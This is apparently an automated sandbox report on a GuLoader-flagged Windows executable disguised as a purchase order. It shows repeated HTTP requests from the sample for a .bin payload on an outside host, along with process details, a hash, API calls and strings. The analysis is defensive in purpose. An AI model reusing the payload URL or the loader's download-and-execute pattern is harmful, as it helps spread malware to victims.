26	192.168.2.8	50002	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:28 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:29 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:28 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	50003	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:30 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:31 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:30 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	50004	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:32 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:33 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:33 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	50005	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:35 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:35 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:35 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	50006	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:36 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:37 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:37 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	50007	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:38 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:39 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:39 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	50008	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:40 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:41 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:41 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	50009	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:42 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:43 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:42 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	50010	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:44 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:45 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:44 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	50011	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:46 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:47 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:46 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	50012	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:48 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:49 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:48 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	50013	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:50 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:51 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:50 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	50014	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:52 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:53 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:52 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	50015	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:54 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:55 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:54 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	50016	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:56 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:57 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:56 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	50017	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:58 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:38:59 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:58 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	50018	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:00 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:01 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:00 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	50019	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:02 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:03 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:02 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50020	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:04 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:04 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:04 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	50021	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:06 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:06 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:06 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50022	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:08 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:08 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:08 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	50023	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:09 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:10 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:10 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50024	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:11 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:12 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:12 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50025	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:13 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:14 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:14 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50026	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:15 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:16 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:15 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50027	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:17 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:19 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:17 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	50028	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:20 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:21 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:20 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50029	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:22 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:23 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:22 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50030	62.215.181.250	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:24 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:25 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:24 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50031	62.215.181.250	443	5784	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:39:26 UTC	221	OUT	GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: designcirclekw.com Cache-Control: no-cache
2024-10-29 19:39:27 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:39:26 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/7.0.33 X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	15:35:20
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"
Imagebase:	0x400000
File size:	918'336 bytes
MD5 hash:	E7504A48D78545EF459890B5C36B6B17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2614036861.0000000006688000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:37:16
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"
Imagebase:	0x400000
File size:	918'336 bytes
MD5 hash:	E7504A48D78545EF459890B5C36B6B17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.3906224944.0000000003648000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	14.4%
Signature Coverage:	21.1%
Total number of Nodes:	1461
Total number of Limit Nodes:	40

Executed Functions

Function 004030EC Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403111
GetVersion.KERNEL32 ref: 00403117
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403140
#17.COMCTL32(00000007,00000009), ref: 00403162
OleInitialize.OLE32(00000000), ref: 00403169
SHGetFileInfoA.SHELL32(0079D500,00000000,?,00000160,00000000), ref: 00403185
GetCommandLineA.KERNEL32(Regangen Setup,NSIS Error), ref: 0040319A
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",00000000), ref: 004031AD
CharNextA.USER32(00000000,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",00000020), ref: 004031D8
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004032D5
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004032E6
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032F2
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403306
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040330E
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040331F
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403327
DeleteFileA.KERNELBASE(1033), ref: 0040333B

Part of subcall function 004060A5: GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
Part of subcall function 004060A5: GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

OleUninitialize.OLE32(?), ref: 004033E9
ExitProcess.KERNEL32 ref: 0040340A
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403527
OpenProcessToken.ADVAPI32(00000000), ref: 0040352E
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403546
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403565
ExitWindowsEx.USER32(00000002,80040002), ref: 00403589
ExitProcess.KERNEL32 ref: 004035AC

Part of subcall function 00405502: MessageBoxIndirectA.USER32(00409218), ref: 0040555D

Strings

Error launching installer, xrefs: 004033A1
1033, xrefs: 00403336
.tmp, xrefs: 00403431
C:\Users\user\Desktop, xrefs: 0040343C, 00403441, 0040346D
", xrefs: 004031FD
TMP, xrefs: 00403322
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 004031A0, 004031A6, 0040335F
C:\Users\user\AppData\Local\Temp\, xrefs: 004032CA, 004032CF, 004032E5, 004032F1, 00403300, 0040330D, 00403319, 00403321, 0040341A, 0040342B, 00403436, 00403442, 0040344F, 0040345E, 0040350D
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne, xrefs: 004032BA, 004033BB, 00403465, 0040346E
C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe, xrefs: 004034C7
\Temp, xrefs: 004032EC
SeShutdownPrivilege, xrefs: 00403540
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes, xrefs: 004033C6
UXTHEME, xrefs: 00403134, 00403139, 0040313F
`KXu, xrefs: 00403313
Low, xrefs: 00403308
NSIS Error, xrefs: 0040318B
Regangen Setup, xrefs: 00403190
TEMP, xrefs: 0040331A
~nsu, xrefs: 00403415

Memory Dump Source

